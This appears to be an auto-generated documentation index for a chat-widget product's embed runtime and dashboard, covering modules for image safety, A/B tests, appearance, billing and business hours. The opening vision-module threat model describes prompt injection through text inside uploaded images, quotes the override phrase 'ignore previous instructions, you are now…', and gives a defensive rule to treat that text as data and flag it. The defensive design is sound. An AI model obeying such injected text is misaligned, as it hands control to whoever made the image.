`String`) is left completely untouched — no multimodal content-array change ripples out to Alice or any other product. This module owns its own SSRF-safe `reqwest::Client` and talks to the OpenRouter chat-completions endpoint directly. ## Threat model The image is **untrusted, attacker-controlled content**. Two distinct risks: 1. **Unsafe content** — NSFW / CSAM / graphic violence / illegal material. We must refuse to STORE, SERVE, or DESCRIBE it. The classifier runs on the in-memory bytes BEFORE anything is written to disk, so a rejected image leaves zero trace. 2. **Prompt injection via image** — text rendered inside the image ("ignore previous instructions, you are now…"). The safety model is instructed to TREAT all in-image text as data to be described, never as instructions, and to flag `injection_detected`. Defence in depth: even a clean description is later injected into the conversation with the **`user` role** (untrusted), never `system` — see `post_embed_message`'s context-injection. ## Fail-closed A safety gate that fails OPEN is worthless. Every error path here (mis-configuration, transport failure, timeout, unparseable model output) surfaces as `Err(VisionError)` and the upload handler turns that into a rejection — the image is never stored. "Safety First. Science Second." *embed-runtime/src/vision.rs:1* ### dashboard/components - **`embed-app.brand.mark`** · _stable_ · since 0.2.0 — Re-export of the @openalicelabs/ui BrandMark (compact form, current tone). *embed-dashboard/src/components/BrandMark.tsx:7* - **`embed-app.components.editor-head`** · _stable_ · since 0.4.0 — Re-export of the @openalicelabs/ui EditorHead composite (one source of truth). *embed-dashboard/src/components/EditorHead.tsx:9* - **`embed-app.components.field`** · _stable_ · since 0.3.0 — next-intl-bound re-export of the @openalicelabs/ui Field composite. *embed-dashboard/src/components/Field.tsx:5* - **`embed-app.components.toggle`** · _stable_ · since 0.3.0 — Re-export of the @openalicelabs/ui ToggleSwitch composite. *embed-dashboard/src/components/Toggle.tsx:4* - **`embed-app.components.widget-card`** · _stable_ · since 0.4.0 — next/link-bound re-export of the @openalicelabs/ui WidgetCard composite. *embed-dashboard/src/components/WidgetCard.tsx:9* ### embed-app/abtests - **`embed-app.abtests.actions`** — Server actions for the A/B dashboard. These run on the server so the tenant bearer token (devToken.ts) stays out of the browser bundle. They cover the experiment LIFECYCLE + variant CRUD mutations the ABTestsView client calls; the per-variant RESULT fetch and experiment-create flow go through the /api/experiments BFF route instead. - setExperimentStatusAction: PATCH /me/experiments/{id} status (start/pause/conclude). - renameExperimentAction: PATCH /me/experiments/{id} name. - deleteExperimentAction: DELETE /me/experiments/{id} (cascades variants). - addVariantAction: POST /me/experiments/{id}/variants. - deleteVariantAction: DELETE /me/experiments/{id}/variants/{var_id}. Every action revalidates the A/B page so the server-rendered experiment list reflects the mutation on the next render. The status/weight/overlay validation is authoritative on the tenants side — these actions only do light shape coercion before forwarding. *embed-dashboard/src/app/(dash)/widgets/abtests/actions.ts:4* - **`embed-app.abtests.cards`** — The display cluster — empty state, experiment card, results table (split from ABTestsView). *embed-dashboard/src/app/(dash)/widgets/abtests/ExperimentCards.tsx:2* - **`embed-app.abtests.format`** — Pure helpers + draft types for A/B experiments (split from ABTestsView — viewlogic wave). *embed-dashboard/src/app/(dash)/widgets/abtests/abFormat.ts:2* - **`embed-app.abtests.new-modal`** — The create-experiment modal — variants, weights, overlay fields (split from ABTestsView). *embed-dashboard/src/app/(dash)/widgets/abtests/NewExperimentModal.tsx:2* - **`embed-app.abtests.view`** — Honesty tests for the A/B ResultsTable winner/conclude surface. The v1 contract is: NO fabricated significance. These tests pin the honest behaviour so a future change can't silently turn "highest deflection rate" into a statistically-proven "Winner". Leading indicator: - Shown ONLY when the experiment is `done`, there are ≥2 variants, every variant cleared the <30-conversation collecting-data gate, and exactly one variant has the strictly-highest deflection rate. - The visible label reads "Leading" (never "Winner") and its tooltip states it is not a significance-tested result. - A two-way tie on the top deflection rate surfaces NO indicator (no strict leader → no call), with an honest "tied / no clear result" note. - A single-variant experiment never shows a leader (can't lead a test). - While any variant is still collecting data, no leader is shown and the note explains the 30-conversation gate. Conclude affordance: - The Conclude button carries an honest tooltip: it freezes numbers and highlights the highest-deflection variant, no significance test is run. The results come from the /api/experiments BFF proxy, so global.fetch is mocked to return a controlled { experiment, variants } payload. The server actions in ./actions.ts are mocked. window.location.reload is stubbed to avoid jsdom navigation errors. *embed-dashboard/src/test/ABTestsView.test.tsx:2* - **`embed-app.abtests.view`** — Client A/B dashboard for a single widget. Manages the experiment list (Running / Concluded / Drafts tabs), per-experiment detail (variant table with weight %, config-overlay badges) and a results table fetched live from the /api/experiments BFF proxy (conversations, deflection, avg sentiment, escalations). Honesty rules (v1): - Each variant row shows a "Collecting data" pill while it has < 30 conversations (server-flagged collecting_data). - A "Leading" indicator (✦) appears ONLY when the experiment is `done`, there are at least two variants, every variant has cleared the collecting-data threshold, AND one variant's deflection rate is strictly higher than the rest. It marks the highest-deflection variant — NOT a statistically-tested winner. v1 computes NO significance test: no p-value, no confidence interval. The accompanying note says so plainly, and a tie (no strict leader) shows no indicator. Lifecycle + variant mutations go through the server actions (actions.ts) so the tenant JWT never reaches the browser. New-experiment creation posts to /api/experiments. The variant builder is hard-limited to SAFE_OVERLAY_FIELDS — the same allowlist the tenants write-validator and agent-lite read-guard enforce. *embed-dashboard/src/app/(dash)/widgets/abtests/ExperimentCards.tsx:11* - **`embed-app.abtests.view`** — Client A/B dashboard for a single widget. Manages the experiment list (Running / Concluded / Drafts tabs), per-experiment detail (variant table with weight %, config-overlay badges) and a results table fetched live from the /api/experiments BFF proxy (conversations, deflection, avg sentiment, escalations). Honesty rules (v1): - Each variant row shows a "Collecting data" pill while it has < 30 conversations (server-flagged collecting_data). - A "Leading" indicator (✦) appears ONLY when the experiment is `done`, there are at least two variants, every variant has cleared the collecting-data threshold, AND one variant's deflection rate is strictly higher than the rest. It marks the highest-deflection variant — NOT a statistically-tested winner. v1 computes NO significance test: no p-value, no confidence interval. The accompanying note says so plainly, and a tie (no strict leader) shows no indicator. Lifecycle + variant mutations go through the server actions (actions.ts) so the tenant JWT never reaches the browser. New-experiment creation posts to /api/experiments. The variant builder is hard-limited to SAFE_OVERLAY_FIELDS — the same allowlist the tenants write-validator and agent-lite read-guard enforce. *embed-dashboard/src/app/(dash)/widgets/abtests/NewExperimentModal.tsx:11* - **`embed-app.abtests.view`** — Client A/B dashboard for a single widget. Manages the experiment list (Running / Concluded / Drafts tabs), per-experiment detail (variant table with weight %, config-overlay badges) and a results table fetched live from the /api/experiments BFF proxy (conversations, deflection, avg sentiment, escalations). Honesty rules (v1): - Each variant row shows a "Collecting data" pill while it has < 30 conversations (server-flagged collecting_data). - A "Leading" indicator (✦) appears ONLY when the experiment is `done`, there are at least two variants, every variant has cleared the collecting-data threshold, AND one variant's deflection rate is strictly higher than the rest. It marks the highest-deflection variant — NOT a statistically-tested winner. v1 computes NO significance test: no p-value, no confidence interval. The accompanying note says so plainly, and a tie (no strict leader) shows no indicator. Lifecycle + variant mutations go through the server actions (actions.ts) so the tenant JWT never reaches the browser. New-experiment creation posts to /api/experiments. The variant builder is hard-limited to SAFE_OVERLAY_FIELDS — the same allowlist the tenants write-validator and agent-lite read-guard enforce. Pro gate (§ab-pro-gate): this page's own topbar/headline badges already advertise A/B testing as "Pro+", but nothing actually enforced it — the "New experiment" CTA opened the builder for every plan with no signal. Gated here client-side with the SAME tier-rank mechanism PersonaEditor's Model/Voice pickers use (`PLAN_TIERS`/`tierRank` from `@/lib/modelCatalog`): below Pro, the CTA is disabled with an inline upgrade hint instead of silently opening the modal. NOTE: unlike the model/voice catalogs, tenants has NO server-side plan check on experiment creation today ( `POST /me/experiments` accepts any plan) — this is a UX-level gate only, matching this audit's scope; a determined caller could still POST directly. *embed-dashboard/src/app/(dash)/widgets/abtests/ABTestsView.tsx:4* ### embed-app/analytics - **`embed-app.analytics.format`** — Formatters + sparkline/funnel builders for account analytics (split from the page — viewlogic wave). *embed-dashboard/src/app/(dash)/analytics/analyticsFormat.ts:2* ### embed-app/appearance - **`embed-app.appearance.avatar-kind-preview`** — Live preview for the avatar-kind picker (#77): mounts the SELECTED render mode into the appearance editor's preview pane so the admin sees exactly what the widget will show before saving — • "2d" — the static portrait image • "2.5d" — the sprite avatar (head-follows the cursor, blinks, lip-syncs) • "3d" — the avatar's static portrait (live VRM preview RETIRED — see below) The 2.5D renderer is the SAME chunk the deployed widget uses, loaded cross-cut from the CDN (same origin as this dashboard) via the stable alias sprite-render-demo.js. Re-mounts on `kind` OR `vrmId` change; the old handle is disposed first. Any failure (no WebGL / no 2d ctx / network) falls back to the static portrait — the preview never breaks. §vrm-retired (design-jury F7b): the vrm-render-demo.js chunk no longer ships on the CDN, so the old "3d" loader path fired a guaranteed 404 on every /widgets/brand visit with a VRM picked. The "3d" kind now renders the avatar's derived portrait (`stillSrc`) directly — no dead network request. If a live 3D preview returns, restore the dynamic-import mount here. `vrmId` (§stale-avatar-preview) — the LIVE (possibly unsaved) Avatar-picker selection from AppearanceEditor, so the portrait actually matches what the admin picked instead of always rendering the generic Lily/aria placeholder. The 2.5D sprite has only one hosted set today (no per-avatar sprite catalog anywhere in the runtime), so it intentionally always renders the Lily slices — matching the deployed widget's own `spriteBaseUrl` default. *embed-dashboard/src/app/(dash)/widgets/brand/AvatarKindPreview.tsx:4* - **`embed-app.appearance.avatar-picker`** — Avatar catalog picker: fetches GET ${AGENT_BASE}/v1/embed/avatars and renders a responsive radio-style grid (plus a synthetic "none" entry so tenants can clear the vrm_id choice). Extracted from AppearanceEditor (structural decomposition only) — no behavior change. Props-only, owns only its own catalog-fetch state; the selected vrm_id lives in the parent (fed into the form + the live preview). *embed-dashboard/src/app/(dash)/widgets/brand/AvatarPicker.tsx:4* - **`embed-app.appearance.clothing-logo-section`** — "Logo on clothing" advanced control (migration 0018): the toggle, the CSS mini shirt-preview, and the 4 placement sliders (x/y/scale/opacity). Extracted from AppearanceEditor (structural decomposition only) — no behavior change. Props-only; the placement values are entangled with the parent's save-form + live-preview state, so they stay lifted there. *embed-dashboard/src/app/(dash)/widgets/brand/ClothingLogoSection.tsx:4* - **`embed-app.appearance.custom-css-section`** — Custom CSS (Pro+) advanced disclosure: the open/close toggle, the CodeEditorModal launcher, and the textarea (`name="custom_css"`) that `saveAppearanceAction` persists (migration 0022). Extracted from AppearanceEditor (structural decomposition only) — no behavior change. The open/closed state and the live textarea value are local to this component (nothing else in the editor reads them); the textarea still submits through the shared
via native DOM bubbling regardless of which component owns the state, same as before the split. *embed-dashboard/src/app/(dash)/widgets/brand/CustomCssSection.tsx:4* - **`embed-app.appearance.editor`** — Client editor for a widget's appearance block. Backed by openalice-tenants (PATCH /me/widgets/{id}). Persisted fields: - appearance.template: "sakura" | "midnight" | "cloud" | "brand" - appearance.accent_color: #RRGGBB - appearance.font: "fraunces" | "hanken" | "system" - appearance.corner_radius: 0..48 - appearance.position: "bottom-right" | "bottom-left" - appearance.logo_url: https:// URL or null - appearance.privacy_policy_url: https:// URL or null (GDPR Art. 13 consent gate) - appearance.terms_url: https:// URL or null (GDPR Art. 13 consent gate) - appearance.vrm_id: avatar catalog id (e.g. "aria") or null Custom CSS (Pro+) is REAL: `saveAppearanceAction` persists `custom_css` to tenants (migration 0022) and agent-lite serves it in the session bootstrap; the widget injects it into its Shadow DOM after its own stylesheet. Loading / saved / error states mirror AnalyticsView's pattern. Structural decomposition (2026-07-15): the avatar-catalog picker, the template-picker card grid, the logo-on-clothing advanced control, the custom-CSS disclosure, and the live-preview column moved to their own files (AvatarPicker / TemplatePickerSection / ClothingLogoSection / CustomCssSection / PreviewPanel — the genuinely oversized pieces), plus a dependency-free data module (paletteData.ts) for the template/color constants. The color-swatch section, avatar-kind picker, logo-URL, font, head-peek, position, and radius sections stay here — each was already a modest, self-contained `
` block (no churn-for- churn's-sake). No behavior, wording, or persisted value changed. *embed-dashboard/src/app/(dash)/widgets/brand/AppearanceEditor.tsx:4* - **`embed-app.appearance.palette-data`** — Pure appearance data + color helpers for the brand/appearance editor: the 4 customer-selectable template presets (label + live-preview palette), the 6 accent-color swatches, and the hex normalize/rgba helpers shared by the editor's controls and its live preview. Extracted from AppearanceEditor (structural decomposition only) — no behavior change. Kept dependency-free (no CSS module import): the template swatch CSS classnames stay in TemplatePickerSection, which owns the styling. *embed-dashboard/src/app/(dash)/widgets/brand/paletteData.ts:2* - **`embed-app.appearance.preview-panel`** — The right-column live preview: the avatar-kind mount (AvatarKindPreview) plus the mock widget shell (header, one bubble, fake input bar) styled by the `--pv-*` custom properties the parent derives from the selected template + accent color. Extracted from AppearanceEditor (structural decomposition only) — no behavior change. Props-only; the palette / accent math stays in the parent (it also feeds the controls column). *embed-dashboard/src/app/(dash)/widgets/brand/PreviewPanel.tsx:4* - **`embed-app.appearance.template-picker`** — The 4-card template picker (sakura / midnight / cloud / brand) — the customer-selectable widget-skin presets, NOT a design-token bypass. Extracted from AppearanceEditor (structural decomposition only) — no behavior change. Props-only; the selected template + its derived live- preview palette stay owned by the parent. *embed-dashboard/src/app/(dash)/widgets/brand/TemplatePickerSection.tsx:4* - **`embed-app.appearance.vrm-upload`** — Tenant self-serve custom VRM avatar upload, mounted inside the Appearance editor below the avatar catalog picker. On a successful upload the returned public https URL becomes the widget's vrm_id (via the parent's onChange → the same hidden `vrm_id` input the catalog picker uses), so saving the appearance form carries the URL through PATCH /me/widgets/{id} unchanged (validate_vrm_id accepts https:// URLs). Pipeline: 1. Client pre-validate: .vrm extension, ≤40MB, GLB magic 'glTF'. 2. In-browser preview: dynamic-import three + @pixiv/three-vrm (same code-split boundary as captureVrm.ts) and render a small head framing from the dropped File's object URL. A parse failure rejects client-side before any upload. The 3D stack never lands in the initial bundle. 3. POST to /api/vrm-upload (tenant-scoped BFF proxy → tenants). 4. onChange(public_url) sets vrm_id; the new upload joins "Your uploads". *embed-dashboard/src/app/(dash)/widgets/brand/VrmUploadZone.tsx:4* ### embed-app/auth - **`embed-app.auth.classes`** — AUTH UNIFICATION №10 (2026-07-17): login.module.css (499L) deleted — the card-interior patterns shared by login / forgot-password / reset-password / PowChallengeGate, all theme utilities. The page SHELL (split brand pane + form pane) is ui — THE ecosystem auth layout; these are the pieces that live inside its card. *embed-dashboard/src/app/login/auth.classes.ts:2* ### embed-app/avatar-studio - **`embed-app.avatar-studio.capture`** — The ONLY module in the dashboard that imports three + @pixiv/three-vrm. The studio page reaches it exclusively via dynamic import(), so Next/Turbopack code-splits three.js + three-vrm into a chunk that is NEVER loaded unless the admin opens the studio AND clicks Capture. The main dashboard bundle stays free of the (large) 3D stack. Mirrors openalice-embed/src/avatar/vrm-render.ts for load + framing + lighting (GLTFLoader + VRMLoaderPlugin, VRMUtils.rotateVRM0, warm dark-Sakura key + fill, ~32deg FOV). Difference: this is a one-shot OFFSCREEN render — no rAF loop, no animation mixer, no spring bones. We load the VRM, settle it into a neutral rest pose (arms down, not the bind T-pose), render three camera framings into a single 512x512 canvas, and read each back as a WebP blob. Public surface: captureVrm(vrmUrl, opts?) -> Promise> resolves with one WebP blob per framing (head/half/full); rejects (so the caller can show an error and keep the studio alive) if WebGL or the VRM file is unavailable. Always disposes the GL context + scene graph. *embed-dashboard/src/app/(dash)/widgets/avatars/studio/captureVrm.ts:2* - **`embed-app.avatar-studio.classes`** — Phase-3 conversion №3 (2026-07-17): studio.module.css (163L) deleted — these are the structural class strings shared by StudioClient and the route skeleton (loading.tsx), all theme utilities (ui @theme + embed token vars). One module so the skeleton can never drift from the real card again. Dead .toolbar/.offscreen were dropped with the stylesheet. *embed-dashboard/src/app/(dash)/widgets/avatars/studio/studio.classes.ts:2* - **`embed-app.avatar-studio.page`** — Client-side VRM thumbnail studio (platform-admin tool). Opens at /widgets/avatars/studio (behind the dashboard auth middleware). Fetches the avatar catalog and, per avatar, renders the VRM IN THE BROWSER (three.js) and captures three framings (head / half / full) as WebP blobs — zero server render cost (NAO's explicit design). Captured shots are previewed inline and saved via POST /api/avatars/thumbnail, which writes them under public/v1/vrm/thumb/ so the AvatarPicker cards pick them up automatically. three + @pixiv/three-vrm are loaded ONLY via the dynamic import of ./captureVrm inside handleCapture — they are code-split out of the main dashboard bundle and never fetched unless the admin clicks Capture. *embed-dashboard/src/app/(dash)/widgets/avatars/studio/StudioClient.tsx:4* - **`embed-app.avatar-studio.route`** — Server gate for the VRM thumbnail studio. The avatar catalog is GLOBAL (shared by every tenant), so generating its previews is a platform-admin ops action — not a per-customer feature. Non-admins get a 404 (the route simply doesn't exist for them); the client studio + its save route are both admin-gated independently. See [`isPlatformAdmin`]. *embed-dashboard/src/app/(dash)/widgets/avatars/studio/page.tsx:2* ### embed-app/billing - **`embed-app.billing.actions`** — Server action for the billing dashboard. Runs on the server so the tenant bearer token (devToken.ts → session cookie) stays out of the browser bundle. On a successful checkout it redirects the browser to the hosted Mollie checkout URL returned by openalice-tenants. Flow: form POST → startCheckout(plan) → tenants creates a Mollie payment → returns checkout_url → we redirect(303) the browser to Mollie. The customer pays, Mollie POSTs the webhook to tenants which promotes the plan, and Mollie returns the browser to /settings/billing/return. Graceful gate: when billing is not configured the tenants service responds 503; we surface a clear message rather than crashing. *embed-dashboard/src/app/(dash)/settings/billing/actions.ts:4* - **`embed-app.billing.cancel-subscription`** — Two-step cancel flow: a ghost button → confirmation inline → server action. Only rendered when billing is enabled and the plan is not free. *embed-dashboard/src/app/(dash)/settings/billing/CancelButton.tsx:4* - **`embed-app.billing.plan-button`** — Client form for one plan-catalog card's CTA. Wraps the checkoutAction server action with useActionState so the button shows a pending state and renders any inline error (e.g. billing not configured). On success the action redirects the browser to Mollie, so this component never sees a success result — only errors round-trip back. The CTA is disabled when billing isn't enabled (no Mollie key) or for the plan the tenant is already on / the Free tier (nothing to buy). *embed-dashboard/src/app/(dash)/settings/billing/PlanButton.tsx:4* - **`embed-app.billing.topup-form`** — Client form for the prepaid Top-up CTA on the billing page. Wraps the `topupAction` server action with `useActionState` so the submit shows a pending state and renders any inline error. On success the action redirects the browser to the hosted Mollie checkout URL, so this component never sees a success result — only errors round-trip back (same shape as PlanButton / the plan-checkout flow). Amount: a whole-euro number, validated live (5–1000, integer) via the shared `parseTopupEuros` primitive — the SAME rule the server action and the openalice-tenants backend apply — with quick-pick chips (€10/€25/€50). Idempotency: a UUID is minted ONCE per mount and sent as a hidden `idempotency_key` so the backend can dedupe accidental double-submits. It is generated AFTER mount (in an effect) so the server-rendered HTML and the hydrated client agree (no hydration mismatch); the backend tolerates the field's absence, so a submit that races the effect is still safe. Graceful degrade: when `billingEnabled` is false (no Mollie key) the form is replaced by the EXACT prior "coming soon" affordance — a disabled ghost button + the topUpSoon notice — so tenants without billing configured see an unchanged page. *embed-dashboard/src/app/(dash)/settings/billing/TopupForm.tsx:4* ### embed-app/billing-return - **`embed-app.billing-return.pending-refresher`** — Mollie's redirect_url carries no authoritative payment status — only the server-side webhook promotes the plan, and it may land a moment after the customer is redirected back. While the return page shows the "confirming payment" (still-Free) state, this re-runs the server fetch a few times so a just-promoted plan flips to "you're live" without a manual reload. Caps the retries so it never polls forever; stops as soon as the page re-renders into the paid state (this component is only mounted while pending). *embed-dashboard/src/app/(dash)/settings/billing/return/PendingRefresher.tsx:4* ### embed-app/brand - **`embed-app.brand.mark`** — Tests for the BrandMark presentational component. Proves the React+jsdom rendering path works end-to-end with @testing-library/react. Assertions: - Renders an accessible wrapper with aria-label "OpenAlice" - Renders the two branded SVG circles - Applies the correct width/height from the `size` prop - Accepts and forwards a custom className - Renders with default size=32 when no size prop is supplied *embed-dashboard/src/test/BrandMark.test.tsx:2* ### embed-app/business-hours - **`embed-app.business-hours.editor`** — Client editor for a widget's business-hours / offline config (§business-hours / migration 0030). Persists the business_hours JSONB blob {enabled, timezone, offline_message, weekly:[{day,open,close}]} via saveBusinessHoursAction (PATCH /me/widgets/{id} draft). When a visitor opens the widget OUTSIDE the configured open hours, agent-lite computes is_offline server-side and the widget shows the offline message + the lead-capture form instead of the live agent greeting. v1 (pending NAO review): - One open window per day (the common case). A day toggle + open/close time pickers; days left "Closed" simply omit a window. A future split- shift (two windows in one day) is a v2 concern — the stored shape already supports multiple windows per day, the UI just edits one. - Timezone is a free-text IANA name with a curated of common zones; tenants validates it authoritatively server-side (chrono-tz). Loading / saved / error state mirrors the Mode editor's pattern. *embed-dashboard/src/app/(dash)/widgets/hours/BusinessHoursEditor.tsx:4* - **`embed-app.business-hours.editor.test`** — Tests for the BusinessHoursEditor component (§business-hours / migration 0030). Covers the render + interaction surface that drives the business_hours JSONB blob {enabled, timezone, offline_message, weekly}: - Renders the enable toggle, timezone input, offline-message textarea, and a row for each of the 7 weekdays. - Seeds the form from an existing business_hours config (enabled flag, timezone, message, and the per-day open windows). - Toggling a day open reveals its open/close time inputs and serialises it into the hidden weekly_json input. - Toggling a day closed drops it from weekly_json. - An unconfigured widget (business_hours null) renders all days Closed. The saveBusinessHoursAction server action is mocked via vi.mock so no real network call happens (mirrors SettingsClient.test.tsx). *embed-dashboard/src/test/BusinessHoursEditor.test.tsx:2* ### embed-app/component - **`embed-app.component.error-surface`** — Shared shell for the dashboard's 3 crash/miss surfaces (checkpoint 5, wave-2 consistency audit, 2026-07-13) — `error.tsx` (route-segment boundary), `not-found.tsx` (404), `global-error.tsx` (root-layout boundary) hand-rolled the same centered card 3 ways. INLINE-STYLE ONLY, BY DESIGN — `global-error.tsx` REPLACES the root layout when the layout itself throws (its own doc comment: "globals.css may not load in a root error boundary"), so this component and its two style-builder siblings ([`errorSurfacePrimaryStyle`], [`errorSurfaceSecondaryStyle`]) never assume a CSS Module or a `globals.css` class exists. Every color is a caller-supplied string — the two route-level surfaces pass `var(--dark-bg)` etc. (trusting globals.css), `global-error.tsx` passes the LITERAL hex values of those same tokens (not trusting it). Typography is the same deal (`fontMono`/`fontDisplay` props, not a hardcoded `var()`) — the two route-level surfaces pass `var(--font-mono)`/`var(--font-display)`, global-error passes its own dependency-free system-font stack. What's DELIBERATELY left to the caller (these differ per site, not drift): the ornamental `top` slot (error.tsx's mono kicker vs not-found.tsx's giant "404" numeral vs global-error's nothing — no shared typography contract between a kicker and a numeral) and the `actions` themselves (a `